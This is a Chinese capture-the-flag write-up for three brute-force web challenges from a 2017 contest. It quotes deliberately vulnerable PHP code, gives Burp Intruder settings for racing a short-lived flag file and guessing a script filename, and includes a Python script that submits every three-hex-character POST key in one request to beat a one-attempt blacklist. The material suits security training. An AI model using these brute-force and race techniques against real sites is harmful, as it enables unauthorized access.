百度杯2017年春秋欢乐赛Web

三道超级简单的爆破题

时间

<?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
  $txt = file_get_contents('flag.php');
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
  file_put_contents($filename,$txt);
  sleep(10);
  unlink($filename);
}

每次按照要求的cookie去请求index.php都会有十秒的时间去访问包含flag的文件,所以开两个burp爆破即可。

  • 第一个burp爆破用Sniper模式随便加个GET的参数去带cookie:token=hello去访问index.php,爆破间隔十秒

  • 第二个burp爆破用Sniper模式去访问u/$payload$.txt,payload采用md5的encode

象棋

查看源码有个:js/[abcmlyx]{2}ctf[0-9]{3}.js"很可疑,burp爆破之,爆破策略:

  • 模式选择Cluster bomb,设置三个payload位置:js/$p1$$p2$ctf$p3$
  • p1: simple list [abcmlyx]
  • p2: simple list [abcmlyx]
  • p2: number 100-999 step 1

攻击


<?php
header("content-type:text/html;charset=utf-8");
show_source(__FILE__);
echo '<pre>';
include('u/ip.php');
include('flag.php');
if (in_array($_SERVER['REMOTE_ADDR'],$ip)){
  die("您的ip已进入系统黑名单");
}
var_dump($ip);

if ($_POST[substr($flag,5,3)]=='attack'){
  echo $flag;
}else if (count($_POST)>0){
  $ip = '$ip[]="'.$_SERVER['REMOTE_ADDR'].'";'.PHP_EOL; 
  file_put_contents('u/ip.php',$ip,FILE_APPEND);
}


echo '</pre>';
 array(0) {
}

  • $_SERVER['REMOTE_ADDR']不可伪造,那么一个ip真的就只有一次机会了
  • i春秋的的flag格式是flag{小写MD5},所以substr($flag,5,3)是[0-9a-f]{3},16的三次方种可能
  • 爆破次数只有一次怎么办?是不是被平日爆破的思路限制了?
  • 没有限制post参数的个数,那么就生成所有的参数名字,提交一次就好了

python脚本如下:

#!/usr/bin/python
# coding=utf-8

import requests

s = '1234567890abcdef'
data = {}

for i in s:
    for j in s:
        for k in s:
            data[i+j+k] = 'attack'

url = 'http://781e5ea171c945ed997e895070a5a79490205fbc7d574566.ctf.game/'
result = requests.post(url, data=data)

print result.text